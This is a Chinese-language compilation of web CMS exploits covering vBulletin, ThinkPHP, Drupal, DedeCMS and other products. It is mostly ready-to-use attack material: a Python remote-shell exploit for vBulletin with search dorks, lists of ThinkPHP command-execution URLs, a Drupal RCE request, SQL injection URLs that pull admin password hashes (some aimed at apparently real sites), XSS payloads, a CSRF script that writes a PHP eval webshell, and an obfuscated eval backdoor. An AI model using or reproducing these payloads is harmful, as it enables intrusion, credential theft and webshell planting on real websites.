應用安全-CMF/CMS漏洞整理

CMS識別javascript

雲悉
http://whatweb.bugscaner.com/batch.html

 

CakePHP php

CakePHP <= 1.3.5 / 1.2.8 Cache Corruption Exploit 2011-01

vBulletinhtml

CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE 

#POC
#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"
import requests
import sys
if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])
params = {"routestring":"ajax/render/widget_php"}
while True:
    try:
        cmd = raw_input("vBulletin$")
        params["widgetConfig[code]"] = "echo shell_exec('cmd+'); exit;"
        r = requests.post(url = sys.argv[1], data = params)
        if r.status_code == 200:
            print r.text
        else:
            sys.exit("Exploit failed! :(")
    except KeyboardInterrupt:
        sys.exit("\nClosing shell...")
    except Exception, e:
        sys.exit(str(e))

PHPStudyjava

WebShell後門
'accept-charset': 'ZWNobyBzeXN0ZW0od2hvYW1pKTsK',
'Accept-Encoding':'gzip,deflate'

ThinkPHPpython

RCE
Thinkphp 5.1.0 - 5.1.31
Thinkphp 5.0.5 - 5.0.23

SQL注入

ThinkPHP < 5.1.23linux

CVE-2018-16385web

POC:ajax

http://127.0.0.1/tp5.1/public/index/test/index?order[id`,111)|updatexml(1,concat(0x3a,user()),1)%23][]=1
http://127.0.0.1/tp5.1/public/index/test/index?order[id`,'aaa')| updatexml(1,concat(0x3a,user()),1)%23][]=1
 
Thinkphp <= 3.2.3

路徑遍歷
thinkphp3.0 

可執行命令sql

查看版本thinkphp

http://webshell.cc/index.php/module/action/param1/$%7B@print(THINK_VERSION)%7D

查看phpinfo信息

http://webshell.cc/index.php/module/action/param1/$%7B@print(phpinfo())%7D

不可執行命令

爆路徑

http://webshell.cc/appscn/index.php/module/action/param1/$%7B@print(phpinfo())%7

http://webshell.cc/index.php/module/action/param1/$%7B@print(THINK_VERSION)%7

http://webshell.cc/index.php/module/action/module/param1/$%7B@print(THINK_VERSION)%7D

 

Thinkphp遠程代碼執行漏洞:
一些常見關鍵字:例如一些常見的命令touch、whamo、nc、calc.exe等還有一些常見的php函數(phpinfo()等)
thinphp的目錄結構通常爲/index/?s=
/thinkphp/public/?s=.|think\config/get&name=database.username
/thinkphp/public/?s=.|think\config/get&name=database.password
/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
?s=index/\think\module/action/param1/${@phpinfo()}
?s=index/\think\Module/Action/Param/${@phpinfo()}
?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx
(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system
post)public/index.php (data)c=exec&f=calc.exe&_method=filter

 

ZZZCMS

CVE-2019-9041

DisCuz ML v3.x cookie注入-遠程代碼執行 yUrO_2132_saltkey=S6RnGn2l; yUrO_3132_language=en'.1.'; 

Drupal

cve-2014-3704

Drupal 7.31 SQL注入

cve-2018-7600 RCE
Request:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id


Response:

 

Drupal 8.6.9 REST 遠程代碼執行漏洞(CVE-2019-6340)

 ZCMS

zcms 2.x 後臺投稿處 存儲型XSS和CSRF漏洞            
ZCMS(JSP) V1.1 登錄繞過&SQL注入&跨站漏洞

74CMS

SQL注入
74cms 邏輯漏洞致使sql注入
74cms_v3.4.20140410邏輯漏洞致使sql注入
74cms V3.4.20140530 邏輯漏洞致使二次sql注入變爲普通sql注入
74CMS 20150423邏輯設計缺陷致使的注入、邏輯漏洞

 maccms8

設計邏輯缺陷 -》 致使sql注入

mao10cms

邏輯漏洞可添加超級管理員

siteserver cms

密碼找回處漏洞
http://vote.xx.cn/siteserver/forgetPassword.aspx
關閉js
輸入用戶名:admin
而後一直下一步
而後登錄後臺,模板添加一句話,菜刀鏈接

 aspcms

後臺地址泄露

phpwind

v9.0.1
RCE

JeeCMS(Java)

Struts2 RCE

ESPCMS

二次注入(反序列化注入)

Joomla

反序列化(版本低於3.4.5

Dedecms

工具:
鬼哥(旁註)C段利器 v1.5 www.90sec.org
DedeCms recommend.php注入利用工具-p2j.cn
DEDECMS FLINK(By:MEIAM)

dedecms v5.3-v5.6 Get Shell
文件上傳致使任意代碼執行

繞過驗證進入後臺
http://www.xx.com/織夢網站後臺/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
dcug改成當前的驗證碼,便可直接進入網站後臺
前提是獲得後臺路徑

敏感信息泄露
http://www.dedecms.com/plus/search.php?keyword=xxxx&channeltype=-0&orderby=&kwtype=-1&pagesize=10&typeid=0&TotalResult=-336&PageNo=%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3EFuck%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C%3C&plistgo=%C7%E7%CC%EC%D0%A1%D6%FD?
Google Hack - inurl:backupdata*dede_amin

dedecms官方網站管理員帳號密碼泄露
http://www.dedecms.com/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294


SQL注入

Google Hack -》
inurl:/plus/flink_add.php 

在magic_quotes_gpc=off時,攻擊者能夠將惡意SQL語句帶入SQL執行,致使dedecms的審覈機制被繞過
member/reg_new.php的代碼 $sex變量在表單是單選,沒作任何過濾

某文件沒過濾直接帶入sql查詢,攻擊者在magic_quotes_gpc=off時,能夠注射SQL代碼,繞過sqlids檢測,執行sql語句.
要求會員中心,註冊用戶登陸,magic_quotes_gpc=off,以及php版本要求

因爲對參數的變量未做初始化檢測及使用了類反射的技巧致使 plus\feedback.php 中變量 $typeid 存在注入風險

http://help.xx.com//plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6878
32位MD5減去頭5位,減去尾七位,20位MD5密碼,前減3後減1,獲得16位MD5

http://www.xx.xx.cn//plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6887

http://xx.net/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'or%20mid=@`\'`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111

plus/bookfeedback.php
$catid變量以及$typeid變量未初始化

/member/edit_baseinfo.php -  $addupquery

/plus/search.php
http://xx/plus/search.php?typeid=1&keyword=test
http://localhost/dede/plus/search.php?typeArr[1%201%3d2union%20select%20pwd%20from%20dede_admin]=11&kwtype=0&q=11
http://xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
http://xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

http://localhost/dede7/plus/feedback.php?action=send&aid=1&&comtype=comments&isconfirm=yes&notuser=1&msg=stage1111&title=yy',1,1,1,0,0,0,'feedback',0,@@version),(9,1,'','
當gpc爲on時,line 243的$title被轉義兩次,進入數據庫的時候變成
而後咱們引用這條留言:
http://localhost/dede7/plus/feedback.php?action=send&aid=1&&comtype=reply&isconfirm=yes&notuser=1&msg=stage2222&fid=38
再次引用id 41的留言:

include/shopcar.class.php  --cookie

http://www.xx.com///plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

http://xcb.xx.com//plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

http://help.xx.com//plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

http://d.xx.com//plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

http://test.xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

收藏文章功能$title變量未過濾,形成二次注入。
利用步驟(以獲取dede_admin.pwd字段的值爲例):
1)註冊會員,登陸,發表文章,文章標題爲 
u',char(@`'`), (select pwd from dede_admin))#
獲取aid。這裏aid=108
/plus/view.php?aid=108
2)    提交請求:
http://u.cn/DedeCMS/plus/stow.php?aid=108&type=001
3)    訪問:http://u.cn/DedeCMS/member/mystow.php
點擊剛纔發佈的文章的「推薦「連接,打開以下鏈接
http://u.cn/DedeCMS/plus/recommend.php?type=29a53fb3c3&aid=108
其中type=29a53fb3c3的 29a53fb3c3 爲dede_admin.pwd字段的前10位
4)    後10位使用相似的步驟,不一樣的是發佈的文章標題爲:
u',char(@`'`),substring((select pwd from dede_admin),11))#

http://127.0.0.1/dede/member/buy_action.php?product=1' and @`'` and 
1=1* and '1'='1

利用方法 註冊用戶而且登錄
完了打開http://127.0.0.1/dede/member/edit_baseinfo.php
而後隨便寫一下
輸入驗證碼 打開BURP 抓包
點擊提交
而後再BURP裏修改newsafequestion 的值改爲1',email=@`'`,uname=(select user()),email='sss
而後提交 以後再打開http://127.0.0.1/dede/member/edit_baseinfo.php
就能夠看到本身的、用戶名變成了注入以後的結果

打開
http://127.0.0.1/dede/member/flink_main.php#
在鏈接網址裏面寫入 http://sss2'),(8,1,@`'`),(8,(select user()),'33333
鏈接名稱隨意
這裏的8 是個人用戶ID 想要查看 必須得知道本身的用戶id
這個so easy 查看cookie 裏面有一個DedeUserID 
個人就是DedeUserID=8 這個一看就知道本身的id什麼

由於是update注入
而且用了>ExecuteNoneQuery 因此延時注入都不行 
可是 能夠經過一個判斷來進行忙注 若是條件成功 那麼mtypename='$name' 就會被update了
首先打開
http://127.0.0.1/dede/member/mtypes.php
添加一個分類 記住ID 和原來的分類名稱
而後打開
http://127.0.0.1/dede/member/mtypes.php?dopost=save&mtypename[2' or @`'` AND 1%3D1 and (select 'r')%3D'r' and '1'%3D'1]=4
將其中的2改爲你的分類ID
完了打開以後 在返回http://127.0.0.1/dede/member/mtypes.php 若是(select 'r')='r'的話 那麼分類名稱就被改爲了4! 這樣咱們就能來判斷是否知足條件了!
能夠寫一箇中專程序
首先訪問http://127.0.0.1/dede/member/mtypes.php?dopost=save&mtypename[2' or @`'` AND 1%3D1 and (select 'r')%3D'r' and '1'%3D'1]=4 而後再返回http://127.0.0.1/dede/member/mtypes.php
的內容 這樣就能夠用工具跑了

http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and @`'` and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

測試方法 
打開http://127.0.0.1/dede/member/soft_add.php
添加軟件
而後打開BURP抓包
講picnum改爲typeid2
而後參數寫5',1,1,1,@`'`),('-1','7',user() , '3','1389688643', '1389688643', '8'),(1,2,'
就能看到注入結果了

利用方法
<form id="frmUpload" enctype="multipart/form-data" 
action="http://127.0.0.1/dede/member/uploads_edit.php?
dopost=save&title=ss&oldurl=1'.php" method="post">看Oldurl就知道了~
<input type="file" name="addonfile" id="addonfile" size="50"><br>
<input name="mode" type="hidden" value="2">
<input id="btnUpload" type="submit" value="Upload">
</form>

http://127.0.0.1/dede/member/content_list.php?channelid=1 打開這裏發佈
文章標題寫上 1111',1,2),(8,136,user(),1,2),(1,2,'3
其餘隨意
而後提交
完了以後查看一下文章的ID
在打開http://127.0.0.1/dede/plus/stow.php?aid=137&type=11%27 
把137改爲你的文章ID

測試方法127.0.0.1/dede/plus/guestbook.php?
action=save&validate=scuf&msg=1&uname=1&img=111'
吧SCUF改爲你本身的驗證碼

利用方法
先打開127.0.0.1/dede/member/myfriend_group.php隨便添加一個
而後看源碼裏groupname[]中的值
由於沒有返回 只能盲注
那麼判斷是否知足條件就看是否update了原來的數據
這樣就easy 執行一下語句
127.0.0.1/dede/member/myfriend_group.php?dopost=save&groupname[3' or @`'` 
and (select 1)%3D1 and '1]=12222
若是(select 1)=1的話 那個groupname就會被改爲12222
上面的3改爲你的groupname的ID

測試方法 打開
127.0.0.1/dede/member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%40QQ.COM&safequestion=1','1111111111111','1389701121','127.0.0.1','1389701121','127.0.0.1'),('我的',user(),'4297f44b13955235245b2497399d7a93','12as11111111111111111d13123','','10','0','1213asd11111111111123@QQ.COM','100', '0','-10','','1&safeanswer=1111111111111&sex=&vdcode=slum&agree=
吧SLUM改爲你的驗證碼

DedeCMS全版本通殺SQL注入(無任何限制) --/member/buy_action.php


發表文章處,post表單的mtypesid能夠注入
/dedecmsnew/member/album_add.php
注入的代碼:
mtypesid=1'),("'",'0','1367930810','p','0','2','-1','0','0',(SELECT concat(userid,0x5f,pwd,0x5f) FROM dede_admin where userid='admin'),'',
'','12333','','','1367930810','1367930810','4','image','test','3')#@`'`'

http://www.gdjjs.zjut.edu.cn/plus/search.php?keyword=as&typeArr[111%3D@%60\%27%60%29+and+%28SELECT+1+FROM+%28select+count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select+CONCAT%280x7c,userid,0x7c,pwd%29+from+%60%23@__admin%60+limit+0,1%29,1,62%29%29%29a+from+information_schema.tables+group+by+a%29b%29%23@%60\%27%60+]=a

Dedecms 會員中心注入漏洞
註冊用戶以後驗證郵箱完了以後 打開
127.0.0.1/dedecms/member/buy_action.php?product=1',1,2,3,4,5,@`'`),((select user()),(select 1),'4
而後在http://127.0.0.1/dedecms/member/operation.php
就能夠查看到返回信息

http://www.xx-xx.com/plus/flink.php?
Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\
http://www.xx-xx.com/plus/flink.php?
Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\


dedecms SQL盲注漏洞(能夠直接update出密碼)
需註冊 | filter.inc.php裏未作過濾

ROOT_PATH/member/pm.php的64行  -- $id變量可控
首先給本身留個言
訪問留言對應的id的url能夠看到這條留言
http://127.0.0.1/dede/member/pm.php?dopost=read&id=1
而後注入,獲取數據庫用戶
http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and 1=@`'` or 2=(select if(substring((select user()),1,1) ='r',2,1)) -- -@`'`
錯誤
http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and 1=@`'` or 2=(select if(substring((select user()),1,1) ='X',2,1)) -- -@`'`
獲取admin密碼
正確
http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and 1=@`'` or 2=(select if(substring((SELECT pwd from dede_admin),1,1) ='f',2,1)) -- -@`'`
錯誤
http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and 1=@`'` or 2=(select if(substring((SELECT pwd from dede_admin),1,1) ='X',2,1)) -- -@`'`


漏洞測試
此處是一個盲注,爲了測試方便,咱們直接修復執行語句的文件,打印出執行的語句:
echo $this->queryString."<br>";
http://localhost/member/buy_action.php?
POST
pid=1&product=card&a=b%26GLOBALS[cfg_dbprefix]=dede_member_operation where mid=9999 or @`'` or (ascii(substring((select pwd from dede_admin limit 0,1),1,1))=97)#%26product=@`'`
注意到 %26 即 &

測試:
添加上傳軟件
本地地址 http://www.hao123.com
其它亂填就行,添加成功後,再次進入修改界面
軟件地址改成:
http://www.hao123.com}x{/dede:link}{dede:a text'=x']=0;eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(34).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(59).chr(34).chr(41).chr(59));// }xxxx{/dede:a}{dede:link}xxx
注意,這裏後面多了 xxx ,就是爲了繞過這個正則補丁。
而後執行徹底沒有壓力!
後來測試,在GPC OFF跟 ON下寫入的地址有所區別,上面是在ON下寫入的。
緣由大家懂得。
在 filter.inc.php 中,大家無論 GPC ,全過濾了 addslashes。
並且對這樣的$svar[$_k]直接返回錯誤的值

DedeCMS在註冊時對用戶名、電子郵箱等限制的很死,惟獨對用戶筆名沒作限制,可填寫單引號等,由此致使再次使用筆名入庫時二次注入
/member/reg_new.php 約194行   
用戶筆名處存在注入

DedeCMS-V5.7-UTF8-SP1 sql二次注入
漏洞細節    
註冊會員,而後跳到商品發佈處

DedeCMS-V5.7-UTF8-SP1 sql注入
漏洞細節    
進入圈子話題,而後點擊我要發帖
在內容出填寫:',concat(char(@`'`),(SELECT user())))#,(1,
而後點擊提交,發現後臺監控,抓取到的sql語句爲: INSERT INTO dede_group_posts(gid,tid,first,author,authorid,subject,dateline,message,useip) VALUES('4','11',1,'越界','5','testetstetste','1401949158','',concat(char(@`'`),(SELECT user())))#,(1,','10.65.100.235') 查看數據庫,便可看到此語句正常執行:

url:http://localhost/DedeCMS-V5.7-UTF8-SP1/uploads/plus/carbuyaction.php post_data:dopost=return&code=alipay&out_trade_no=M1T1RN1' or concat(char(@`'`),(SELECT user())))#

DedeCMS-V5.7-UTF8-SP1 新繞過思路+sql注入+任意訂單支付合集
url:http://xx.xx.dedecms.com/plus/carbuyaction.php
post_data:
dopost=return&code=alipay&out_trade_no=S-P0098RN0098' and char("'")=(SELECT user())#&total_fee=&sign=06f4c5710c9faa468a0628bab208d77d&trade_status=TRADE_FINISHED

DedeCMS-V5.7-SP1(2014-07-25)sql注入+新繞過思路
註冊用戶,將一個商品加入購物車

http://dzb.xx.edu.cn/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\%27and+char%28@%60%27%60%29+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat%280x3C6162633E,group_concat%280x7C,userid,0x3a,pwd,0x7C%29,0x3C2F6162633E%29,5,6,7,8,9%20from%20%60%23@__admin%60%23%22;

http://222.xx.68.166/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa%5c%27and+char(@`%27`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,md5(0x40776562736166657363616E40),5,6,7,8,9%20from%20`%23@__admin`%23')

http://www.xx.cn//plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\%27and+char(@`%27`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,userid,0x3a,pwd,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20`%23@__admin`%23%22;



XSS
v5.7
友情連接申請的網址填寫沒有進行過濾和限制 - javascript:alert(document.cookie)

www.gd-linux.com/plus/guestbook.php?action=admin&job=editok&id=100&msg=<body onload=alert(document.cookie)>
/plus/guestbook.php
/plus/guestbook.php?gotopagerank=&totalresult=1300&pageno=5

http://localhost/plus/feedback.php?action=send&aid=1&&comtype=comments&isconfirm=yes&notuser=1&msg=stage1111&title=<script>alert(1)</script>

註冊會員登陸-空間設置-空間公告-源碼 忘記過濾 <img 標籤了.

Location: /uploads/images/swfupload/swfupload.swf
漏洞文件爲:http://www.dedecms.com/images/swfupload/swfupload.swf
這個flash文件存在漏洞,此文件漏洞可參考:https://nealpoole.com/blog/2012/05/xss-and-csrf-via-swf-applets-swfupload-plupload/
構造XSS攻擊
http://www.dedecms.com/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

/uploads/dede/catalog_do.php --XSS+CSRF

DedeCMS-V5.7-UTF8-SP1 塊存儲型xss 可打管理員 getshell成功測試
註冊帳戶,而後登錄:

DedeCMS-V5.7-UTF8-SP1 變反射爲持久xss 拿shell 上次提交了一個我的圈子的反射型xss,可是烏雲沒有理會我,一直到如今尚未審覈,此次我從新在找一個,那麼就利用這個,把反射型變成一個持久類型,而後拿後臺shell
首先登錄用戶,而後建立圈子

http://xx.xx.dedecms.com/plus/recommend.php?aid=1&action=sendmail&title=%3Ciframe%20src=//www.baidu.com%3E%3C/iframe%3E
http://xx.xx.dedecms.com/plus/recommend.php?aid=1&action=sendmail&title=%3CSCRIPT%20SRC=//ha.ckers.org/xss.js%3E%3C/SCRIPT%3E

首先購買商品
郵件處  <script>alert('s')</script>
留言處  <script>alert('s')</script>
確認後就能夠了
等待管理員進入後臺維護
管理員一旦點擊收貨人的名字或者數量的詳細就會觸發XSS

dedecms 全版本!xss跨站一枚! referer構造觸發!
$_SERVER['HTTP_REFERER'] 未過濾直接輸出到js中!因爲官方默認數據庫均有一個投票記錄 因此基本上均可以觸發此xss
$_SERVER['HTTP_REFERER']明顯是不安全的 好比我在本地寫一個文件test.html

/uploads//plus/feedback.php?aid=1
title=<script>alert(/Pax.Mac/)</script>
exp:
var request = false;
    if(window.XMLHttpRequest) {
    request = new XMLHttpRequest();
    if(request.overrideMimeType) {
    request.overrideMimeType('text/xml');
    }
    } else if(window.ActiveXObject) {
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
    for(var i=0; i<versions.length; i++) {
    try {
    request = new ActiveXObject(versions[i]);
    } catch(e) {}
    }
    }
    xmlhttp=request;

    getshell();
    function getshell(){

    var postStr="fmdo=edit&backurl=&activepath=%2Fdedecmsfullnew%2Fuploads%2Fuploads&filename=paxmac.php&str=%3C%3Fphp+eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E&B1=++%B1%A3+%B4%E6++";//url須要本身修改

    xmlhttp.open("POST", "http://paxmac/dedecmsfullnew/uploads/dede/file_manage_control.php", true);//url須要本身修改
    xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xmlhttp.setRequestHeader("Content-length", postStr.length);
    xmlhttp.setRequestHeader("Connection", "close");
    xmlhttp.send(postStr);
    }


CSRF
DedeCMS-V5.7-UTF8-SP1 csrf getshell 無需會員中心
網站logo處提交">_<'&quot;&lt;&gt;

Dedecms可CSRF GetShell(第二彈,附POC)
源碼編輯頁中無token,可CSRF修改源碼致使GetShell


URL跳轉
http://www.dedecms.com/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20%3D

文件包含
首先利用cookie修改工具,加上 code=alipay 
而後訪問
http://www.xxx.com/plus/carbuyaction.php?dopost=return&code=../../uploads/userup/xx/myface.gif%00
直接包含成功
利用條件爲GPC OFF ,或者某些環境下的截斷。
能夠在會員中內心上傳個圖片木馬進行拿shell。
還能夠包含dede自身文件進行更多利用


變量覆蓋漏洞,可重裝網站
dedecms的install/index.php中,有這樣一段代碼

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}

任何傳入的變量都會被定義,致使變量覆蓋漏洞,能夠經過覆蓋insLockfile變量,破壞原來程序的邏輯,重裝網站。
POC:
http://127.0.0.1/dede/install/index.php?insLockfile=1

越權
DEDEcms SQL注入漏洞致使能夠修改任意用戶密碼
測試方法 以下
1 首先註冊一個用戶
2 找回密碼 選擇經過安全問題取回
3 填寫完畢信息以後點擊確認
4 而後點擊確認 會跳轉到這樣一個URL上 http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&amp;id=9&amp;key=elLSvQu8
而後咱們就能夠構造EXP以下了
http://127.0.0.1/dedecms/member/resetpassword.php
?dopost=getpasswd
&id=xx' or userid='diehack' and '9
&key=SULMhhPU&setp=2&pwd=1&pwdok=1
把上面url中的9改爲 以前跳轉到連接的id參數,而後把key也改爲以前跳轉的連接的key參數
而後userid能夠修改爲你須要修改密碼的用戶
pwd和pwdok就是須要修改爲的密碼 必須保持同樣
這個注入的難點在於
$mid = preg_replace("#[^0-9]#", "", $id);
這裏匹配出了全部數字
若是咱們實用忙注 
那麼須要subtring(xx,1,2)來逐個獲取 
並且又不支持報錯顯示 否則就能夠報錯注入了
想要利用 至少須要註冊1K個帳戶 才能利用起來
利用難度比較大


RCE
會員中心開放,註冊一個號。
默認狀況下,註冊的號碼須要郵件驗證,但一般無法收取郵件的,因此無法激活,什麼也不能操做
激活函數 index_do.php
離線爆破,很快會有結果。不過這裏的py效率不高,也能夠直接生成字典。方便秒查
A-Z a-z A-Z A-Z a-z 1000-9999 A-Z (1-1000)註冊時 id
結果出來後:
OeQDg2992Z--8--aaaaaa@21cn.com
943ea8a69319e9dd17bc3b8245631300
http://127.0.0.1/dede/member/index_do.php?fmdo=checkMail&mid=8&userhash=943ea8a69319e9dd17bc3b8245631300
會員激活成功,能夠進入下一步操做

邏輯漏洞
Dedecms全版本後臺驗證碼邏輯漏洞可致使暴力破解

dedecms 最新版!驗證碼繞過!驗證碼等於無效
根據dedecms源碼 查到dedecms將session保存到文件中!

DeDecms 任意用戶登陸,管理員密碼重置漏洞 -20180109(最新版)

Webshell寫入:
